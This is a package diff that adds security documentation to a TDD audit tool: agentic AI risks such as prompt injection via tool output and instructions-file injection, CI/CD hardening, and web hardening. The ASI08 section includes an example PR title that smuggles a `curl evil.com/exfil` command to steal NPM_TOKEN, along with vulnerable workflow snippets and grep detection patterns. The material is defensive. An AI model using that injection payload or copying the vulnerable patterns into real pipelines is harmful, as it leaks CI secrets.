@lhi/tdd-audit 1.8.1 → 1.8.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/docs/agentic-ai-security.md +202 -0
- package/docs/ci-cd.md +169 -0
- package/docs/hardening.md +267 -0
- package/docs/scanner.md +161 -0
- package/docs/tdd-protocol.md +184 -0
- package/docs/vulnerability-patterns.md +200 -0
- package/package.json +3 -2
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
# Agentic AI Security (ASI01–ASI10)
|
|
2
|
+
|
|
3
|
+
When the project contains AI agent code, MCP server configurations, CLAUDE.md files, or tool-calling patterns, the auto-audit also checks for agentic-specific vulnerabilities. These are harder to spot than traditional web vulnerabilities but carry severe consequences — data exfiltration via tool abuse, agent hijacking, supply chain via MCP.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## ASI01 — Prompt Injection via Tool Output
|
|
8
|
+
|
|
9
|
+
**What:** Malicious text in tool results (web scrapes, file reads, search results) that instructs the agent to perform unauthorized actions.
|
|
10
|
+
|
|
11
|
+
**Grep for:**
|
|
12
|
+
```
|
|
13
|
+
fetch(.*then.*res\.text # agent reading raw web content into prompt
|
|
14
|
+
readFile.*utf8.*then # file content fed directly to model
|
|
15
|
+
tool_result.*content # MCP tool output injected into context
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
**Fix:** Sanitize tool outputs before injecting into prompt context. Treat all content from web fetches, file reads, and search results as untrusted data — never as instructions.
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## ASI02 — CLAUDE.md / Instructions File Injection
|
|
23
|
+
|
|
24
|
+
**What:** Attacker-controlled files (`CLAUDE.md`, `.cursorrules`, system prompts) that override the agent's behavior or extract secrets.
|
|
25
|
+
|
|
26
|
+
**Grep for:**
|
|
27
|
+
```
|
|
28
|
+
CLAUDE\.md # ensure CLAUDE.md doesn't accept untrusted input
|
|
29
|
+
\.cursorrules # check cursor rules for malicious overrides
|
|
30
|
+
system_prompt.*file # system prompt loaded from a user-supplied path
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
**Fix:** `CLAUDE.md` must be under version control and reviewed on every commit. Never load system prompts from user-supplied paths. Treat the file as code, not configuration.
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## ASI03 — MCP Server Supply Chain Risk
|
|
38
|
+
|
|
39
|
+
**What:** MCP servers installed via `npx` or unpinned package references that can execute arbitrary code in the agent's context.
|
|
40
|
+
|
|
41
|
+
**Grep for:**
|
|
42
|
+
```
|
|
43
|
+
mcpServers # review all MCP server configurations
|
|
44
|
+
npx.*mcp # npx-executed MCP servers (not pinned)
|
|
45
|
+
"command".*"npx" # dynamic npx MCP invocations
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Fix:** Pin all MCP server packages to exact versions. Prefer locally-installed servers over `npx`:
|
|
49
|
+
|
|
50
|
+
```json
|
|
51
|
+
// settings.json — safe pattern
|
|
52
|
+
{
|
|
53
|
+
"mcpServers": {
|
|
54
|
+
"filesystem": {
|
|
55
|
+
"command": "node",
|
|
56
|
+
"args": ["/usr/local/lib/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js"]
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## ASI04 — Excessive Tool Permissions
|
|
65
|
+
|
|
66
|
+
**What:** Agent granted filesystem write, shell exec, or network send permissions when the task only requires read access.
|
|
67
|
+
|
|
68
|
+
**Grep for:**
|
|
69
|
+
```
|
|
70
|
+
allow.*Write.*true # broad write permissions granted
|
|
71
|
+
bash.*permission.*allow # shell execution permitted
|
|
72
|
+
tools.*\["bash" # bash tool in agent tool list
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
**Fix:** Apply the principle of least privilege. Grant only the minimum tool set required for the task. For automated CI agents, use a dedicated low-privilege service account with no write access to source files.
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## ASI05 — Sensitive Data in Tool Calls
|
|
80
|
+
|
|
81
|
+
**What:** Agent passes secrets, PII, or auth tokens to external tools (web search, APIs) where they may be logged or leaked.
|
|
82
|
+
|
|
83
|
+
**Grep for:**
|
|
84
|
+
```
|
|
85
|
+
tool_call.*password # password in tool argument
|
|
86
|
+
tool_call.*token # token passed to external tool
|
|
87
|
+
messages.*secret # secret embedded in model messages
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
**Fix:** Scrub secrets from all tool arguments before calling. Pass credentials via environment variables, never via prompt context.
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## ASI06 — Unvalidated Agent Action Execution
|
|
95
|
+
|
|
96
|
+
**What:** Agent executes shell commands, file writes, or API calls without confirming with the user when the action has significant side effects.
|
|
97
|
+
|
|
98
|
+
**Grep for:**
|
|
99
|
+
```
|
|
100
|
+
exec.*tool_result # shell exec driven by tool output
|
|
101
|
+
writeFile.*agent # agent writing files autonomously
|
|
102
|
+
http\.post.*tool_call # agent making POST requests without confirmation
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
**Fix:** For irreversible or high-blast-radius actions, the agent must confirm with the user before executing. Classify actions as: read-only (proceed freely), local reversible (proceed with logging), or destructive/external (require confirmation).
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## ASI07 — Insecure Direct Agent Communication
|
|
110
|
+
|
|
111
|
+
**What:** Agent-to-agent messages that trust the calling agent's identity without verification, enabling privilege escalation.
|
|
112
|
+
|
|
113
|
+
**Grep for:**
|
|
114
|
+
```
|
|
115
|
+
agent_message.*role.*user # sub-agent message injected as user role
|
|
116
|
+
from_agent.*trust # inter-agent trust without verification
|
|
117
|
+
orchestrator.*execute # orchestrator passing actions directly to sub-agent
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
**Fix:** Treat messages from sub-agents with the same skepticism as user input. Validate the source and scope of all inter-agent instructions before acting.
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## ASI08 — GitHub Actions Command Injection
|
|
125
|
+
|
|
126
|
+
**What:** User-controlled input (PR title, branch name, issue body) injected into GitHub Actions `run:` steps via `${{ github.event.* }}`.
|
|
127
|
+
|
|
128
|
+
**Grep for** (in `.github/workflows/*.yml`):
|
|
129
|
+
```
|
|
130
|
+
\$\{\{ github\.event\.pull_request\.title
|
|
131
|
+
\$\{\{ github\.event\.issue\.body
|
|
132
|
+
\$\{\{ github\.head_ref
|
|
133
|
+
\$\{\{ github\.event\.comment\.body
|
|
134
|
+
run:.*\$\{\{
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
**Vulnerable pattern:**
|
|
138
|
+
```yaml
|
|
139
|
+
- name: Echo PR title
|
|
140
|
+
run: echo "${{ github.event.pull_request.title }}"
|
|
141
|
+
# Attacker submits PR titled: foo"; curl evil.com/exfil?t=$NPM_TOKEN; echo "
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
**Safe pattern:**
|
|
145
|
+
```yaml
|
|
146
|
+
- name: Echo PR title
|
|
147
|
+
env:
|
|
148
|
+
TITLE: ${{ github.event.pull_request.title }}
|
|
149
|
+
run: echo "$TITLE" # shell variable — no Actions interpolation
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
## ASI09 — Unpinned GitHub Actions (Supply Chain)
|
|
155
|
+
|
|
156
|
+
**What:** Using `@v4` or `@main` action refs instead of full commit SHAs. A compromised tag can exfiltrate `NPM_TOKEN`, `AWS_ACCESS_KEY_ID`, or other secrets.
|
|
157
|
+
|
|
158
|
+
**Grep for** (in `.github/workflows/*.yml`):
|
|
159
|
+
```
|
|
160
|
+
uses:.*@v\d
|
|
161
|
+
uses:.*@main
|
|
162
|
+
uses:.*@master
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
**Fix:** Pin every `uses:` to a full 40-character commit SHA with the version as a comment:
|
|
166
|
+
|
|
167
|
+
```yaml
|
|
168
|
+
# Vulnerable
|
|
169
|
+
- uses: actions/checkout@v4
|
|
170
|
+
|
|
171
|
+
# Safe
|
|
172
|
+
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
All workflow templates installed by `@lhi/tdd-audit` ship SHA-pinned. The security test `sec-05-unpinned-action-in-docs.test.js` enforces this.
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## ASI10 — Secrets in Workflow Environment
|
|
180
|
+
|
|
181
|
+
**What:** Secrets printed to logs, passed as positional arguments, or embedded in URLs in CI workflows.
|
|
182
|
+
|
|
183
|
+
**Grep for** (in `.github/workflows/*.yml`):
|
|
184
|
+
```
|
|
185
|
+
echo.*secrets\. # secret echoed to log
|
|
186
|
+
run:.*\$\{\{ secrets\. # secret interpolated inline into run step
|
|
187
|
+
curl.*\$\{\{ secrets\. # secret in curl URL (leaks in logs)
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
**Vulnerable pattern:**
|
|
191
|
+
```yaml
|
|
192
|
+
- run: curl https://api.example.com?key=${{ secrets.API_KEY }}
|
|
193
|
+
# Full URL including secret appears in GitHub Actions log
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
**Safe pattern:**
|
|
197
|
+
```yaml
|
|
198
|
+
- name: Call API
|
|
199
|
+
env:
|
|
200
|
+
API_KEY: ${{ secrets.API_KEY }}
|
|
201
|
+
run: curl -H "Authorization: $API_KEY" https://api.example.com
|
|
202
|
+
```
|
package/docs/ci-cd.md
ADDED
|
@@ -0,0 +1,169 @@
|
|
|
1
|
+
# CI/CD Integration Guide
|
|
2
|
+
|
|
3
|
+
`@lhi/tdd-audit` installs framework-matched GitHub Actions workflow templates on first run. This document covers what ships, how to add the gate to an existing pipeline, and what each template does.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## What the installer creates
|
|
8
|
+
|
|
9
|
+
| File | When created |
|
|
10
|
+
|---|---|
|
|
11
|
+
| `.github/workflows/security-tests.yml` | Always (if it doesn't already exist) |
|
|
12
|
+
| `.github/workflows/ci.yml` | Always (if it doesn't already exist) |
|
|
13
|
+
|
|
14
|
+
Both files are only written if they don't already exist — the installer never overwrites your existing CI configuration.
|
|
15
|
+
|
|
16
|
+
---
|
|
17
|
+
|
|
18
|
+
## Installed workflow templates
|
|
19
|
+
|
|
20
|
+
All templates ship with:
|
|
21
|
+
- Every `uses:` pinned to a full 40-character commit SHA (supply chain hardening, ASI09)
|
|
22
|
+
- A dependency audit step (`npm audit --audit-level=high`, `pip-audit`, or `govulncheck`)
|
|
23
|
+
- The security exploit test suite run on every push and pull request
|
|
24
|
+
|
|
25
|
+
### Node.js (jest / vitest / mocha)
|
|
26
|
+
|
|
27
|
+
**`.github/workflows/security-tests.yml`**
|
|
28
|
+
```yaml
|
|
29
|
+
name: Security Tests
|
|
30
|
+
on:
|
|
31
|
+
push: { branches: [main, master] }
|
|
32
|
+
pull_request: { branches: [main, master] }
|
|
33
|
+
jobs:
|
|
34
|
+
security-tests:
|
|
35
|
+
runs-on: ubuntu-latest
|
|
36
|
+
steps:
|
|
37
|
+
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
|
38
|
+
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
|
|
39
|
+
with: { node-version: '20', cache: 'npm' }
|
|
40
|
+
- run: npm ci
|
|
41
|
+
- run: npm audit --audit-level=high
|
|
42
|
+
- run: npm run test:security
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
**`.github/workflows/ci.yml`**
|
|
46
|
+
Runs the full test suite on Node.js 18 / 20 / 22, uploads coverage as an artifact.
|
|
47
|
+
|
|
48
|
+
### Python
|
|
49
|
+
|
|
50
|
+
**`security-tests.python.yml`** — runs `pytest tests/security/ -v` on Python 3.12
|
|
51
|
+
**`ci.python.yml`** — matrix across Python 3.10 / 3.11 / 3.12, runs `ruff` lint and `pytest --cov`
|
|
52
|
+
|
|
53
|
+
### Go
|
|
54
|
+
|
|
55
|
+
**`security-tests.go.yml`** — runs `go test ./security/... -v` on Go 1.22
|
|
56
|
+
**`ci.go.yml`** — matrix across Go 1.21 / 1.22 / 1.23, runs `staticcheck` and `go test ./...` with coverage
|
|
57
|
+
|
|
58
|
+
### Flutter / Dart
|
|
59
|
+
|
|
60
|
+
**`security-tests.flutter.yml`** — runs `flutter test test/security/` with `subosito/flutter-action` (SHA-pinned)
|
|
61
|
+
**`ci.flutter.yml`** — runs `dart analyze`, `dart format`, `flutter test --coverage`
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## Adding to an existing pipeline
|
|
66
|
+
|
|
67
|
+
Minimum addition — add these two steps to your existing workflow after `npm ci` (or language equivalent):
|
|
68
|
+
|
|
69
|
+
```yaml
|
|
70
|
+
- name: Dependency audit
|
|
71
|
+
run: npm audit --audit-level=high
|
|
72
|
+
|
|
73
|
+
- name: Security exploit tests
|
|
74
|
+
run: npm run test:security
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
For Python:
|
|
78
|
+
```yaml
|
|
79
|
+
- name: Dependency audit
|
|
80
|
+
run: pip install pip-audit && pip-audit
|
|
81
|
+
|
|
82
|
+
- name: Security exploit tests
|
|
83
|
+
run: pytest tests/security/ -v
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
For Go:
|
|
87
|
+
```yaml
|
|
88
|
+
- name: Dependency audit
|
|
89
|
+
run: |
|
|
90
|
+
go install golang.org/x/vuln/cmd/govulncheck@latest
|
|
91
|
+
govulncheck ./...
|
|
92
|
+
|
|
93
|
+
- name: Security exploit tests
|
|
94
|
+
run: go test ./security/... -v
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
---
|
|
98
|
+
|
|
99
|
+
## Pre-commit hook (optional)
|
|
100
|
+
|
|
101
|
+
Install with `--with-hooks`:
|
|
102
|
+
|
|
103
|
+
```bash
|
|
104
|
+
npx @lhi/tdd-audit --with-hooks
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
This appends to `.git/hooks/pre-commit`:
|
|
108
|
+
|
|
109
|
+
```sh
|
|
110
|
+
# tdd-remediation: security gate
|
|
111
|
+
npm run test:security --silent
|
|
112
|
+
if [ $? -ne 0 ]; then
|
|
113
|
+
printf "\n\033[0;31m❌ Security tests failed. Commit blocked.\033[0m\n"
|
|
114
|
+
exit 1
|
|
115
|
+
fi
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
The hook is non-destructive — it appends to existing hook content and does not overwrite it. If the project is not a git repository, the hook installation is skipped with a warning.
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## Supply chain hardening in workflows
|
|
123
|
+
|
|
124
|
+
All installed workflows pin action refs to full commit SHAs. If you add new actions manually, use SHA refs:
|
|
125
|
+
|
|
126
|
+
```yaml
|
|
127
|
+
# Find the SHA for any action tag:
|
|
128
|
+
# 1. Go to github.com/actions/checkout/releases
|
|
129
|
+
# 2. Click the tag → copy the full commit SHA from the URL or git log
|
|
130
|
+
|
|
131
|
+
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
To audit your existing workflows for unpinned refs:
|
|
135
|
+
|
|
136
|
+
```bash
|
|
137
|
+
grep -rn "uses:.*@v\|uses:.*@main\|uses:.*@master" .github/workflows/
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
The security test `sec-05-unpinned-action-in-docs.test.js` enforces that documentation examples in this repo stay SHA-pinned as well.
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## Preventing secrets from leaking in CI
|
|
145
|
+
|
|
146
|
+
Always pass secrets as environment variables — never interpolate them inline:
|
|
147
|
+
|
|
148
|
+
```yaml
|
|
149
|
+
# Vulnerable — secret appears in the Actions log as part of the URL
|
|
150
|
+
- run: curl https://api.example.com?token=${{ secrets.API_TOKEN }}
|
|
151
|
+
|
|
152
|
+
# Safe
|
|
153
|
+
- name: Call API
|
|
154
|
+
env:
|
|
155
|
+
API_TOKEN: ${{ secrets.API_TOKEN }}
|
|
156
|
+
run: curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
Similarly, never interpolate `github.event.*` values directly into `run:` steps (see [ASI08](agentic-ai-security.md#asi08--github-actions-command-injection)):
|
|
160
|
+
|
|
161
|
+
```yaml
|
|
162
|
+
# Vulnerable — PR title with shell metacharacters is injected
|
|
163
|
+
- run: echo "PR: ${{ github.event.pull_request.title }}"
|
|
164
|
+
|
|
165
|
+
# Safe
|
|
166
|
+
- env:
|
|
167
|
+
PR_TITLE: ${{ github.event.pull_request.title }}
|
|
168
|
+
run: echo "PR: $PR_TITLE"
|
|
169
|
+
```
|
|
@@ -0,0 +1,267 @@
|
|
|
1
|
+
# Phase 4 — Proactive Hardening
|
|
2
|
+
|
|
3
|
+
Phase 4 runs after all known vulnerabilities are patched. It applies defence-in-depth controls that make future vulnerabilities harder to introduce and easier to catch.
|
|
4
|
+
|
|
5
|
+
Apply each control independently. Confirm the test suite stays green after each.
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## 4a. Security headers (Helmet)
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
npm install helmet
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
Apply as the **first** middleware, before any routes:
|
|
16
|
+
|
|
17
|
+
```javascript
|
|
18
|
+
const helmet = require('helmet');
|
|
19
|
+
app.use(helmet());
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
For **Next.js**, add to `next.config.js`:
|
|
23
|
+
|
|
24
|
+
```javascript
|
|
25
|
+
const securityHeaders = [
|
|
26
|
+
{ key: 'X-Content-Type-Options', value: 'nosniff' },
|
|
27
|
+
{ key: 'X-Frame-Options', value: 'SAMEORIGIN' },
|
|
28
|
+
{ key: 'X-XSS-Protection', value: '1; mode=block' },
|
|
29
|
+
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
|
|
30
|
+
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
|
|
31
|
+
{ key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' },
|
|
32
|
+
];
|
|
33
|
+
|
|
34
|
+
module.exports = {
|
|
35
|
+
async headers() {
|
|
36
|
+
return [{ source: '/(.*)', headers: securityHeaders }];
|
|
37
|
+
},
|
|
38
|
+
};
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
**Verify:** `curl -I https://localhost:3000/` — confirm headers are present.
|
|
42
|
+
|
|
43
|
+
---
|
|
44
|
+
|
|
45
|
+
## 4b. Content Security Policy (CSP)
|
|
46
|
+
|
|
47
|
+
```javascript
|
|
48
|
+
app.use(
|
|
49
|
+
helmet.contentSecurityPolicy({
|
|
50
|
+
directives: {
|
|
51
|
+
defaultSrc: ["'self'"],
|
|
52
|
+
scriptSrc: ["'self'"], // no 'unsafe-inline' — use nonces
|
|
53
|
+
styleSrc: ["'self'", "'unsafe-inline'"],
|
|
54
|
+
imgSrc: ["'self'", 'data:', 'https:'],
|
|
55
|
+
connectSrc: ["'self'"],
|
|
56
|
+
fontSrc: ["'self'"],
|
|
57
|
+
objectSrc: ["'none'"],
|
|
58
|
+
frameAncestors: ["'none'"], // equivalent to X-Frame-Options: DENY
|
|
59
|
+
upgradeInsecureRequests: [],
|
|
60
|
+
},
|
|
61
|
+
})
|
|
62
|
+
);
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
Validate your policy at `https://csp-evaluator.withgoogle.com/`.
|
|
66
|
+
|
|
67
|
+
---
|
|
68
|
+
|
|
69
|
+
## 4c. CSRF protection
|
|
70
|
+
|
|
71
|
+
For cookie-based sessions (not pure JWT / Authorization header flows):
|
|
72
|
+
|
|
73
|
+
```javascript
|
|
74
|
+
// csrf-csrf (csurf is deprecated since March 2023)
|
|
75
|
+
const { doubleCsrf } = require('csrf-csrf');
|
|
76
|
+
|
|
77
|
+
const { generateToken, doubleCsrfProtection } = doubleCsrf({
|
|
78
|
+
getSecret: () => process.env.CSRF_SECRET,
|
|
79
|
+
cookieName: '__Host-psifi.x-csrf-token',
|
|
80
|
+
cookieOptions: { sameSite: 'strict', secure: true },
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
app.use(doubleCsrfProtection);
|
|
84
|
+
app.get('/form', (req, res) => res.render('form', { csrfToken: generateToken(req, res) }));
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
For SPAs using `fetch`, set `SameSite=Strict` on the session cookie:
|
|
88
|
+
|
|
89
|
+
```javascript
|
|
90
|
+
res.cookie('session', token, { httpOnly: true, secure: true, sameSite: 'strict' });
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## 4d. Rate limiting
|
|
96
|
+
|
|
97
|
+
| Route type | Recommended limit |
|
|
98
|
+
|---|---|
|
|
99
|
+
| `/login`, `/register`, `/forgot-password` | 10 requests / 15 min / IP |
|
|
100
|
+
| `/api/` general endpoints | 100 requests / 1 min / IP |
|
|
101
|
+
| File upload endpoints | 5 requests / 1 min / IP |
|
|
102
|
+
| Password reset confirmation | 5 requests / 15 min / IP |
|
|
103
|
+
|
|
104
|
+
```javascript
|
|
105
|
+
const rateLimit = require('express-rate-limit');
|
|
106
|
+
|
|
107
|
+
const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 10 });
|
|
108
|
+
const apiLimiter = rateLimit({ windowMs: 60 * 1000, max: 100 });
|
|
109
|
+
|
|
110
|
+
app.use('/api/', apiLimiter);
|
|
111
|
+
app.post('/api/auth/login', authLimiter, loginHandler);
|
|
112
|
+
app.post('/api/auth/register', authLimiter, registerHandler);
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
Quick grep to find unprotected POST routes:
|
|
116
|
+
|
|
117
|
+
```bash
|
|
118
|
+
grep -rn "app\.post\|router\.post" src/ --include="*.js" | grep -v "limiter\|rateLimit"
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
---
|
|
122
|
+
|
|
123
|
+
## 4e. Dependency vulnerability audit
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
# Node.js
|
|
127
|
+
npm audit --audit-level=high
|
|
128
|
+
npm audit fix # auto-fix where safe
|
|
129
|
+
|
|
130
|
+
# Python
|
|
131
|
+
pip install pip-audit && pip-audit
|
|
132
|
+
|
|
133
|
+
# Go
|
|
134
|
+
go install golang.org/x/vuln/cmd/govulncheck@latest && govulncheck ./...
|
|
135
|
+
|
|
136
|
+
# Flutter / Dart
|
|
137
|
+
flutter pub outdated
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
The live `ci.yml` and `security-tests.yml` workflows both run `npm audit --audit-level=high` on every push and pull request (added in v1.8.0).
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## 4f. Secret history scan
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# trufflehog (recommended)
|
|
148
|
+
npx trufflehog git file://. --only-verified
|
|
149
|
+
|
|
150
|
+
# gitleaks
|
|
151
|
+
brew install gitleaks
|
|
152
|
+
gitleaks detect --source . -v
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
If secrets are found in history:
|
|
156
|
+
1. Rotate the secret immediately — treat it as compromised
|
|
157
|
+
2. Use `git filter-repo` to rewrite history
|
|
158
|
+
3. Force-push and have all team members re-clone
|
|
159
|
+
|
|
160
|
+
Prevent future secret commits via pre-commit hook:
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
npx gitleaks protect --staged -v
|
|
164
|
+
# or use: npx @lhi/tdd-audit --with-hooks
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
## 4g. Production error handling
|
|
170
|
+
|
|
171
|
+
```javascript
|
|
172
|
+
// Express — place last, after all routes
|
|
173
|
+
app.use((err, req, res, next) => {
|
|
174
|
+
const isDev = process.env.NODE_ENV !== 'production';
|
|
175
|
+
console.error(err); // log internally — never expose to client
|
|
176
|
+
res.status(err.status || 500).json({
|
|
177
|
+
error: isDev ? err.message : 'Internal server error',
|
|
178
|
+
...(isDev && { stack: err.stack }),
|
|
179
|
+
});
|
|
180
|
+
});
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
```python
|
|
184
|
+
# FastAPI
|
|
185
|
+
@app.exception_handler(Exception)
|
|
186
|
+
async def generic_exception_handler(request, exc):
|
|
187
|
+
logger.error(f"Unhandled exception: {exc}", exc_info=True)
|
|
188
|
+
return JSONResponse(status_code=500, content={"error": "Internal server error"})
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
## 4h. Subresource Integrity (SRI)
|
|
194
|
+
|
|
195
|
+
For third-party scripts or stylesheets loaded via CDN:
|
|
196
|
+
|
|
197
|
+
```html
|
|
198
|
+
<script
|
|
199
|
+
src="https://cdn.example.com/lib.min.js"
|
|
200
|
+
integrity="sha384-<hash>"
|
|
201
|
+
crossorigin="anonymous"
|
|
202
|
+
></script>
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
Generate integrity hashes at `https://www.srihash.org/`.
|
|
206
|
+
|
|
207
|
+
---
|
|
208
|
+
|
|
209
|
+
## 4i. GitHub Actions supply chain hardening
|
|
210
|
+
|
|
211
|
+
Pin every `uses:` to a full commit SHA:
|
|
212
|
+
|
|
213
|
+
```yaml
|
|
214
|
+
# Vulnerable — mutable tag
|
|
215
|
+
- uses: actions/checkout@v4
|
|
216
|
+
|
|
217
|
+
# Safe — SHA-locked, tag as comment
|
|
218
|
+
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
Grep for unpinned actions:
|
|
222
|
+
|
|
223
|
+
```bash
|
|
224
|
+
grep -rn "uses:.*@v\|uses:.*@main\|uses:.*@master" .github/workflows/
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
Workflow inputs that inject into `run:` steps:
|
|
228
|
+
|
|
229
|
+
```yaml
|
|
230
|
+
# Vulnerable
|
|
231
|
+
run: echo "${{ github.event.pull_request.title }}"
|
|
232
|
+
|
|
233
|
+
# Safe
|
|
234
|
+
env:
|
|
235
|
+
PR_TITLE: ${{ github.event.pull_request.title }}
|
|
236
|
+
run: echo "$PR_TITLE"
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## 4j. Agentic AI controls
|
|
242
|
+
|
|
243
|
+
- `CLAUDE.md` under version control; reviewed on every commit; no user-supplied content
|
|
244
|
+
- MCP servers pinned to exact versions or local installs (see [ASI03](agentic-ai-security.md#asi03--mcp-server-supply-chain-risk))
|
|
245
|
+
- Agent tool permissions scoped to minimum required; no `bash` when only `read` is needed
|
|
246
|
+
- Tool outputs sanitized before injecting into prompt context (see [ASI01](agentic-ai-security.md#asi01--prompt-injection-via-tool-output))
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## Hardening verification checklist
|
|
251
|
+
|
|
252
|
+
- [ ] `helmet()` applied before all routes; `X-Content-Type-Options: nosniff` in every response
|
|
253
|
+
- [ ] CSP header present; validated with csp-evaluator
|
|
254
|
+
- [ ] CSRF protection on all state-mutating routes (or `SameSite=Strict` cookies)
|
|
255
|
+
- [ ] Rate limiting on auth routes — 429 returned after threshold
|
|
256
|
+
- [ ] `npm audit` / `pip-audit` / `govulncheck` shows 0 HIGH/CRITICAL findings
|
|
257
|
+
- [ ] `gitleaks` / `trufflehog` shows no verified secrets in history
|
|
258
|
+
- [ ] Production error handler returns generic messages; no stack traces in 5xx responses
|
|
259
|
+
- [ ] SRI hashes on all third-party CDN resources
|
|
260
|
+
- [ ] `*.env` in `.gitignore`; no `.env` committed to git
|
|
261
|
+
- [ ] All cookies: `httpOnly: true`, `secure: true`, `sameSite: 'strict'` or `'lax'`
|
|
262
|
+
- [ ] All GitHub Actions `uses:` pinned to full commit SHAs
|
|
263
|
+
- [ ] No `github.event.*` interpolated directly into `run:` steps
|
|
264
|
+
- [ ] No secrets inline in workflow `run:` commands or URLs
|
|
265
|
+
- [ ] `CLAUDE.md` in version control and reviewed; no user-supplied content
|
|
266
|
+
- [ ] MCP servers pinned to exact versions or local installs
|
|
267
|
+
- [ ] Agent tool permissions scoped to minimum required
|
package/docs/scanner.md
ADDED
|
@@ -0,0 +1,161 @@
|
|
|
1
|
+
# Scanner Architecture
|
|
2
|
+
|
|
3
|
+
`lib/scanner.js` is the core engine behind `npx @lhi/tdd-audit --scan` and the auto-audit skill. It is a pure Node.js module with no runtime dependencies — only `fs` and `path`.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## Entry points
|
|
8
|
+
|
|
9
|
+
| Export | Purpose |
|
|
10
|
+
|---|---|
|
|
11
|
+
| `quickScan(projectDir)` | Walk all source files and return a findings array |
|
|
12
|
+
| `scanPromptFiles(projectDir)` | Walk all `.md` prompt/skill files and check for prompt-specific patterns |
|
|
13
|
+
| `scanAppConfig(projectDir)` | Check `app.json` / `app.config.*` for embedded secrets |
|
|
14
|
+
